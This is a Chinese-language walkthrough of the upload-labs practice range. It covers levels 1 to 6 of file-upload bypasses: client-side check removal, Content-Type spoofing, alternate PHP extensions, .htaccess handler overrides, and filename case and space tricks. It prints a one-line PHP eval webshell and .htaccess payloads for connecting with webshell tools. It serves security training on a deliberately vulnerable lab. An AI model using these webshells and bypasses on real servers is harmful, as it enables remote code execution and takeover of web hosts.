- Docs/
upload-labs
Table of Contents
靶场搭建 #
https://github.com/c0ny1/upload-labs
基本思路 #


- 禁用 JavaScript 
- MIME 绕过 
- 扩展后缀名 
- 配置文件 - .htaccess- 自建后缀名,通配后缀名 - 文件上传后文件名可能会修改,此时只要后缀名匹配了,一样可以识别 - webshell 工具可能没法利用部分已有的后缀,比如 - .jpg
- 各种绕过 - 大小写绕过
- 在文件名的首尾去加点
- 在文件名的首尾加空格
- 在文件名的首尾加::$DATA
 
Pass - 01 #
- 客户端检查 
- 禁用 JavaScript - 火狐禁用:打开设置,搜索JavaScript,关闭 
Pass - 02 #
- 服务端检查 
- 可以上传非图片内容,检查后缀 
- 白名单:MIME 绕过 - 抓包,将Content-Type修改为允许上传的类型(image/jpeg、image/png、image/gif)三选一 
- 菜刀连接 - 木马内容 - <?php @eval($_POST['caidao']);?>
- 成功 
Pass - 03 #
- 服务端检查 
- 上传php文件,黑名单 - 提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! 
- 扩展后缀名 - php,phps,php3,php5,phtml等都有可能被解析成- php文件的是否能解析,取决与- apache的配置
- 查看回显数据包,可知道文件名 
- 访问该文件 - 很遗憾,并不能解析 - 由于使用docker部署的,找配置文件找了很久,因为大多数资料都是Windows部署的 - 最后使用了局部配置文件 - .htaccess- 文件内容为: - AddType application/x-httpd-php .php .phtml .phps .php5 .pht- 该文件放在 - /var/www/html- 尝试放在 /var/www/html/Pass-03 并没有生效 
- 解析成功 
- 这时候使用蚁剑和菜刀都可以连接了 
Pass - 04 #
方法一
- 服务端、后缀、黑名单
- 尝试后缀.phps,上传成功
- 查看文件
方法二
- 上传 - .htaccess文件更改apache配置- <FilesMatch "01.xxx"> SetHandler application/x-httpd-php </FilesMatch>- 这段代码的意思是把 - 01.xxx文件当作php文件执行- .htaccess文件是隐藏文件,需要右键设置,显示隐藏文件
- 成功  - {{ alert }} -  图片马不能直接利用,得结合文件包含漏洞 -  在使用 - 01.jpg连接蚁剑是失败的,所以用了个- .xxx的后缀- {{ alert }} - 文件包含漏洞:本来想引用一个php文件,但是漏洞就是,他不会识别什么是php文件,只要是他引用的,他都当php来解析,所以如果他引用的是jpg,但是jpg中有图片马,那么他就相当于引用了图片马,同样的道理还会有zip马等等。 
Pass - 05 #
大小写绕过

Pass - 06 #
首尾加空格